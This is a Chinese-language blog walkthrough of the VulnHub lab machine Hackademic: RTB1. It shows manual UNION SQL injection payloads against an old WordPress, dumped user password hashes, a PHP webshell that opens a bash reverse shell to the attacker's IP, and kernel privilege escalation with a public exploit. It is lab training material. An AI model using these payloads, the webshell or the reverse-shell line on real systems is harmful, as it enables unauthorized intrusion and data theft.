🍬 博主介绍
👨🎓 博主介绍:大家好,我是 hacker-routing ,很高兴认识大家~
✨主攻领域:【渗透领域】【应急响应】 【Java、PHP】 【VulnHub靶场复现】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!
目录
0x1 前言
0x2 信息收集
1、主机探测
2、端口扫描
3、漏洞扫描
0x3 渗透测试+信息收集
1、web服务信息收集
2、SQL注入漏洞
一、手工联合注入
二、sqlmap脚本小子
3、上传木马,反弹shell
0x4 提权
1、基本提权+信息收集
2、内核提权
3、成功拿到key.txt
0x1 前言
靶机精讲之Hackademic: RTB1,vulnhub靶机,手动SQL注入,小试牛刀,内核提权。读遍牙签三万轴,欲来小邑试牛刀。
靶机下载地址:
Hackademic: RTB1 ~ VulnHub
0x2 信息收集
1、主机探测
我们首先利用arp进行主机探测,发现靶机的IP地址是10.10.10.134
┌──(root💀kali)-[~/桌面/HackademicRTB1]
└─# arp-scan -l
2、端口扫描
利用nmap扫描靶机的端口开放情况,发现只开启了80端口,并且22端口ssh服务还被关闭了,那么目前分析,这个靶场利用找到用户名密码然后ssh远程连接的常规思路是不行了的。
┌──(root💀kali)-[~/桌面/HackademicRTB1]
└─# nmap -sS -A -p- 10.10.10.134
这将扫描目标主机的UDP协议并列出最常见的20个端口的状态,但是目前看没有发现什么有价值的端口。就目前来看,还是80端口的web服务是最为吸引我们的。
┌──(root💀kali)-[~/桌面/HackademicRTB1]
└─# nmap -sU --top-ports 20 10.10.10.134
3、漏洞扫描
--script=vuln是nmap自带的漏洞扫描模块,我们简单的利用nmap扫描下漏洞,
也就是扫描到了几个比较老版本的漏洞,比如CVE-2007-6750、CVE-2011-3192等,但是我都上网查了下这几个漏洞的危害,都是类似ddos的让某个http网站访问不了的功能,对应我们这里渗透测试拿root权限来讲,意义不是很大,感兴趣的师傅可以尝试下。
┌──(root💀kali)-[~/桌面/HackademicRTB1]
└─# nmap --script=vuln -p80 10.10.10.134
0x3 渗透测试+信息收集
1、web服务信息收集
我们这里直接访问IP地址,访问这个web服务,发现是个静态的HTML页面,上面的英文意思就是让我们拿到root权限,然后拿到root目录下的key.txt文件。
这里是静态的HTML页面,一般渗透测试中包括实战中,碰到都是可以右击查看网页源代码的,
目前没有发现什么有价值的信息。
发现这个可以点击看看
然后老规矩查看网页源代码,
这次有收获,发现这个网站是个wordpress 的CMS框架网站,看着版本是1.5.1.1,应该比较低,可能存在漏洞,那么我们就可以借助Google搜素了。
发现EXP里面确实存在这个版本的wordpress漏洞,并且存在sql注入漏洞,那么我们等会多留意下存在参数的地方,然后手工测一下sql注入。
2、SQL注入漏洞
这个页面存在参数,我们利用单引号' 测试下,发现页面没有报错,说明不存在SQL注入
一、手工联合注入
1、这个页面利用单引号' 测试,页面发生了报错,并且还看到了注入语句:
SELECT * FROM wp_categories WHERE cat_ID = 1\\\' LIMIT 1
2、找到了注入点,那么下一步我们就需要尝试获取数据库到底有多少列,利用order by测试。
一直到5都是页面正常,但是到6 的时候页面发生了报错,说明这个数据库就是5列
1 order by 1,2,3,4,5
1 order by 1,2,3,4,5,6
3、接下来我们可以用联合查询的方法进行注入,思考SQL查询语句,我们要保证后台执行我们的联合查询union select语句,这里使用1 发现页面没有回显,那么一般我们就要不改大要不然改小点,反正目的就是为了能有数据回显出来。我这里改成了0。
1 union select 1,2,3,4,5
发现回显了个2,那么说明只有第二列才能回显
0 union select 1,2,3,4,5
因为大家可以看到报错的信息,后面有个LIMIT 1,说明只允许回显一列
4、果然没错,我们在第二列这里回显出来了数据库的版本信息以及数据库名"wordpress"
5、那么我们接着需要报后面的更多信息,主要是要拿到比如账号密码之类的信息
这里我们直接利用Google浏览器检索下面的关键字,因为wordpress CMS框架体系非常成熟,像数据库的很多信息都是一体化的,都是可以找到对应的信息的。
但是前提是我们得找到SQL注入的报错点,然后才能进一步的利用这个漏洞。
wordpress database description
找到 Table: wp_users ,里面有关于用户的具体字段数据
6、我们直接利用group_concat()进行读取数据库里面的字段数据,但是发现账号密码都没有分开,看着很乱,我们这里利用ASCII码的0x2d表示换行的意思,来进行数据的分开操作
group_concat()是一个SQL函数,通常用于将多行查询结果合并为一个字符串,以便更容易获取信息
这里需要补充一个字段就是user_level,这里是看红队大佬的笔记
然后我们进行修改下,可以看到GeorgeMiller用户的权限是最高的,我们这里需要进行提权操作,那么肯定首选权限高的用户。
1-NickJames-21232f297a57a5a743894a0e4a801fc3-1
2-JohnSmith-b986448f0bb9e5e124ca91d3d650f52c-0
3-GeorgeMiller-7cbb3252ba6b7e9c422fac5334d22054-10
4-TonyBlack-a6e514f9486b83cb53d8d932f9a04292-0
5-JasonKonnors-8601f6e1028a8e8a966f6c33fcd9aec4-0
6-MaxBucky-50484c19f1afdaf3841a0d821ed393d2-0
二、sqlmap脚本小子
红队大佬说的是一般情况下不使用sqlmap脚本跑,除非没有任何思路了,我们使用手工联合注入可以让我们更加清楚这个底层原理,而不是为了拿到root权限当脚本小子,下面使用sqlmap跑我这里不做太多的说明,跑出数据库来即可,要是想用sqlmap的可以自己尝试下。
sqlmap -u "http://10.10.10.134/Hackademic_RTB1/?cat=0" --dbs --batch
3、上传木马,反弹shell
发现密码是MD5加密的
┌──(root💀kali)-[~/桌面/HackademicRTB1]
└─# hash-identifier "7cbb3252ba6b7e9c422fac5334d22054"
MD5在线解密网站:
Cmd5 - MD5 Online ,MD5 Decryption, MD5 Hash Decoder
解密得到密码是:q1w2e3
登录wordpress后台,像wordpress这种特别成熟的CMS框架,登录页面的目录位置也是固定的
/wp-login.php/目录
你要是不知道,其实这里扫描目录也是可以看到的
┌──(root💀kali)-[~/桌面/HackademicRTB1]
└─# dirsearch -u http://10.10.10.134/Hackademic_RTB1/ -i 200
输入账号密码GeorgeMiller:q1w2e3即可登录进去了,
像这个wordpress模块的功能也是很熟悉的,因为这个CMS博客框架很普遍了,如果不了解的师傅可以搞个WP博客玩下。
像里面有好几个地方是可以进行漏洞利用的,一个是里面的插件位置,还有一个就是upload文件上传的位置,我们可以上传php木马,然后kali监听,反弹shell。
下面我带师傅们从上传php木马来演示!
1、首先按照下面的顺序点击如下,意思就是允许文件上传,并且允许上传php文件
师傅们要是看不懂,可以用Google翻译下哈,多了解下这个网站的功能点是什么意思,对我们渗透测试很有帮助的!
给大家推荐个写自动化脚本的网站:
Online - Reverse Shell Generator
/bin/bash -i >& /dev/tcp/10.10.10.128/4444 0>&1
php木马如下:
<?php exec("/bin/bash -i >& /dev/tcp/10.10.10.128/4444 0>&1"); ?>
然后kali进行监听,访问上面的bin.php木马
反弹shell成功了
0x4 提权
1、基本提权+信息收集
一般进入一个用户权限的shell中,一般都会尝试下sudo提权以及SUID提权,还会看历史进程会不会有可以利用的恶意进程,以及history历史命令查看。
2、内核提权
没办法了,一般基本的提权都没用,这里要拿到root权限,那么就必须得尝试下内核提权了。
很多开始学习的师傅们感觉内核提权很简单,调用别人的内核提权脚本直接编译然后执行就可以了,其实实际上并不是的,内核提权是很复杂的,因为需要你从很多脚本中进行筛选,是个细活。
需要渗透测试人员的渗透经验来进行判断。
bash-4.0$ uname -a
uname -a
Linux HackademicRTB1 2.6.31.5-127.fc12.i686 #1 SMP Sat Nov 7 21:41:45 EST 2009 i686 i686 i386 GNU/Linux
我们使用searchsploit 工具进行检索过滤,发现还是有很多的脚本需要我们进行筛选
┌──(root💀kali)-[~/桌面/HackademicRTB1]
└─# searchsploit linux kernel 2.6.3 | grep -i 'Privilege Escalation'
这里我看红队笔记大佬提出排查思路,首先排除特定linux操作系统的漏洞,比如Ubuntu/CentOS/RedHat,这些我们都暂不考虑(因为靶机操作系统不是这些),然后尽可能选择版本范围精确的漏洞。
searchsploit linux kernel 2.6.3 | grep -i 'Privilege Escalation' |grep -v 'Ubuntu' |grep -v 'CentOS' |grep -v 'Debian' |grep -v 'RedHat'
-v是反向查询,也就是把不需要的关键词过滤掉
其实一看还是蛮多的,这里我们先从最匹配的几个开始下手测试下,
就是10018.sh和15285.c这两个脚本。
其中10018.sh这个脚本我先测试的,发现提权没有成功,但是第二次使用15285.c脚本测试成功提权了
我们先把脚本下载到本地,然后通过http服务上传到靶机的/tmp目录下(这个临时目录的权限比较高)
编译15285.c ,然后再提高权限,然后执行改提权脚本,成功拿到root权限
gcc 15285.c -o 15285
chmod -R 777 15285
./15285
3、成功拿到key.txt
sh-4.0# cat key.txt~
cat key.txt~
Yeah!!
You must be proud becouse you ve got the password to complete the First Reallistic Hackademic Challenge (Hackademic.RTB1) :)
$_d&jgQ>>ak\#b"(Hx"o<la_%
Regards,
mr.pr0n || p0wnbox.Team || 2011
http://p0wnbox.com